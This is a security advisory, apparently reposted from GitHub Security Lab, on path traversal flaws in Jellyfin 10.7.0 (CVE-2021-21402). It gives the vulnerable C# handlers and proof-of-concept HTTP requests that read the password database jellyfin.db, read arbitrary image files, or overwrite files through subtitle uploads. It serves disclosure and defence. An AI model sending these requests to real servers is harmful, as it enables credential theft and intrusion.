logo
DATABASE RESOURCES PRICING ABOUT US

Jellyfin 任意文件读取漏洞(CVE-2021-21402)

Description

# GHSL-2021-050: Unauthenticated abritrary file read in Jellyfin - CVE-2021-21402 [Jaroslav Lobacevski](https://github.com/jarlob) ## Coordinated Disclosure Timeline - 2021-03-19: Issue reported to maintainers. - 2021-03-22: Version 10.7.1 with fixes was released. ## Summary Jellyfin allows unauthenticated arbitrary file read. ## Product Jellyfin ## Tested Version The latest 10.7.0 and older ## Details ### Issue 1: Unauthenticated arbitrary file read in `/Audio/itemId/hls/segmentId/stream.mp3` and `/Audio/itemId/hls/segmentId/stream.aac` Both the `/Audio/{Id}/hls/{segmentId}/stream.mp3` and `/Audio/{Id}/hls/{segmentId}/stream.aac` routes allow unauthenticated [1] arbitrary file read on Windows. It is possible to set the `{segmentId}` part of the route to a relative or absolute path using the Windows path separator `\` (`%5C` when URL encoded). Initially, it may seem like an attacker would only be able to read files ending with `.mp3` and `.aac` [2]. However, by using a trailing slash in the URL path it is possible to make `Path.GetExtension(Request.Path)` return an empty extension, thus obtaining full control of the resulting file path. The `itemId` doesn’t matter as it is not used. The issue is not limited to Jellyfin files as it allows reading any file from the file system. ``` // Can't require authentication just yet due to seeing some requests come from Chrome without full query string // [Authenticated] // [1] [HttpGet("Audio/{itemId}/hls/{segmentId}/stream.mp3", Name = "GetHlsAudioSegmentLegacyMp3")] [HttpGet("Audio/{itemId}/hls/{segmentId}/stream.aac", Name = "GetHlsAudioSegmentLegacyAac")] //... public ActionResult GetHlsAudioSegmentLegacy([FromRoute, Required] string itemId, [FromRoute, Required] string segmentId) { // TODO: Deprecate with new iOS app var file = segmentId + Path.GetExtension(Request.Path); //[2] file = Path.Combine(_serverConfigurationManager.GetTranscodePath(), file); return FileStreamResponseHelpers.GetStaticFileResult(file, MimeTypes.GetMimeType(file)!, false, HttpContext); } ``` The following request for example would download the `jellyfin.db` database with passwords from the server: ``` GET /Audio/anything/hls/..%5Cdata%5Cjellyfin.db/stream.mp3/ HTTP/1.1 ``` #### Impact This issue may lead to unauthorized access to the system especially when Jellyfin is [configured to be accessible from the Internet](https://jellyfin.org/docs/general/networking/index.html#running-jellyfin-behind-a-reverse-proxy). ### Issue 2: Unauthenticated arbitrary file read in `/Videos/Id/hls/PlaylistId/SegmentId.SegmentContainer` The `/Videos/{Id}/hls/{PlaylistId}/{SegmentId}.{SegmentContainer}` route allows unauthenticated [1] arbitrary file read on Windows. It is possible to set the `{SegmentId}.{SegmentContainer}` part of the route to a relative or absolute path using the Windows path separator `\` (`%5C` when URL encoded). The `SegmentId` and file extension from `Path` are concatenated [2]. The resulting `file` is used as the second parameter to `Path.Combine` [3]. However, if the second parameter is an absolute path, the first parameter to `Path.Combine` is ignored and the resulting path is just the absolute path `file`. A pre-requisite for the attack is that the `jellyfin/transcodes` directory contains at least one `.m3u8` file [4] (i.e. some user started streaming a video or it is left there since the last stream). The `itemId` doesn’t matter as it is not used and `PlaylistId` must be a substring of the `m3u8` file [5]. It can be just `m` as it is always in the `*.m3u8` file name. ``` // Can't require authentication just yet due to seeing some requests come from Chrome without full query string // [Authenticated] //[1] [HttpGet("Videos/{itemId}/hls/{playlistId}/{segmentId}.{segmentContainer}")] //... public ActionResult GetHlsVideoSegmentLegacy( [FromRoute, Required] string itemId, [FromRoute, Required] string playlistId, [FromRoute, Required] string segmentId, [FromRoute, Required] string segmentContainer) { var file = segmentId + Path.GetExtension(Request.Path); //[2] var transcodeFolderPath = _serverConfigurationManager.GetTranscodePath(); file = Path.Combine(transcodeFolderPath, file); //[3] var normalizedPlaylistId = playlistId; var filePaths = _fileSystem.GetFilePaths(transcodeFolderPath); // Add . to start of segment container for future use. segmentContainer = segmentContainer.Insert(0, "."); string? playlistPath = null; foreach (var path in filePaths) { var pathExtension = Path.GetExtension(path); if ((string.Equals(pathExtension, segmentContainer, StringComparison.OrdinalIgnoreCase) || string.Equals(pathExtension, ".m3u8", StringComparison.OrdinalIgnoreCase)) //[4] && path.IndexOf(normalizedPlaylistId, StringComparison.OrdinalIgnoreCase) != -1) //[5] { playlistPath = path; break; } } return playlistPath == null ? NotFound("Hls segment not found.") : GetFileResult(file, playlistPath); } ``` PoC: ``` GET /Videos/anything/hls/m/..%5Cdata%5Cjellyfin.db HTTP/1.1 ``` #### Impact This issue may lead to unauthorized access to the system especially when Jellyfin is [configured to be accessible from the Internet](https://jellyfin.org/docs/general/networking/index.html#running-jellyfin-behind-a-reverse-proxy). ### Issue 3: Authenticated arbitrary file read in `/Videos/Id/hls/PlaylistId/stream.m3u8` `/Videos/{Id}/hls/{PlaylistId}/stream.m3u8` allows arbitrary file read on Windows. In this case it requires authentication. It may seem like an attacker would only be able to read files ending with `.m3u8`[1]. However, by using a trailing slash in the URL path it is possible to make `Path.GetExtension(Request.Path)` return an empty extension, thus obtaining full control of the resulting file path. The `itemId` doesn’t matter as it is not used. ``` [HttpGet("Videos/{itemId}/hls/{playlistId}/stream.m3u8")] [Authorize(Policy = Policies.DefaultAuthorization)] //... public ActionResult GetHlsPlaylistLegacy([FromRoute, Required] string itemId, [FromRoute, Required] string playlistId) { var file = playlistId + Path.GetExtension(Request.Path); //[1] file = Path.Combine(_serverConfigurationManager.GetTranscodePath(), file); return GetFileResult(file, file); } ``` PoC: ``` GET /Videos/anything/hls/..%5Cdata%5Cjellyfin.db/stream.m3u8/?api_key=4c5750626da14b0a804977b09bf3d8f7 HTTP/1.1 ``` #### Impact This issue may lead to privilege elevation. ### Issue 4: Unauthenticated arbitrary image file read in `/Images/Ratings/theme/name`, `/Images/MediaInfo/theme/name` and `Images/General/name/type` The `/Images/Ratings/{theme}/{name}`, `/Images/MediaInfo/{theme}/{name}` and `/Images/General/{name}/{type}` routes allow unauthenticated arbitrary *image* file read on Windows. It is possible to set the `{theme}`[1] or `{name}`[2] part of the route to a relative or absolute path using the Windows path separator `\` (`%5C` when URL encoded). The route automatically appends the following allowed extensions, so it is only possible to read image files [3]: `.png`, `.jpg`, `.jpeg`, `.tbn`, `.gif`. ``` [HttpGet("MediaInfo/{theme}/{name}")] [AllowAnonymous] //... public ActionResult GetMediaInfoImage( [FromRoute, Required] string theme, [FromRoute, Required] string name) { return GetImageFile(_applicationPaths.MediaInfoImagesPath, theme, name); } //... private ActionResult GetImageFile(string basePath, string theme, string? name) { var themeFolder = Path.Combine(basePath, theme); //[1] if (Directory.Exists(themeFolder)) { var path = BaseItem.SupportedImageExtensions.Select(i => Path.Combine(themeFolder, name + i)/*[2]*/) //[3] .FirstOrDefault(System.IO.File.Exists); if (!string.IsNullOrEmpty(path) && System.IO.File.Exists(path)) { var contentType = MimeTypes.GetMimeType(path); return PhysicalFile(path, contentType); } } ``` PoCs to download `c:\temp\filename.jpg`: ``` GET /Images/Ratings/c:%5ctemp/filename HTTP/1.1 GET /Images/Ratings/..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5ctemp/filename HTTP/1.1 ``` #### Impact This issue may lead to unauthorized access to image files especially when Jellyfin is [configured to be accessible from the Internet](https://jellyfin.org/docs/general/networking/index.html#running-jellyfin-behind-a-reverse-proxy). ### Issue 5: Authenticated arbitrary file overwrite in `/Videos/itemId/Subtitles` not limited to Windows `Videos/{itemId}/Subtitles` allows arbitrary file overwrite by an elevated user. Since it requires administrator permissions, it is not clear if this crosses security boundaries. PoC: ``` POST /Videos/d7634eb0064cce760f3f0bf8282c16cd/Subtitles HTTP/1.1 ... X-Emby-Authorization: MediaBrowser DeviceId="...", Version="10.7.0", Token="..." ... {"language":".\\..\\","format":".\\..\\test.bin","isForced":false,"data":"base64 encoded data"} ``` #### Impact This issue may lead to post-authenticated arbitrary remote code execution.


Related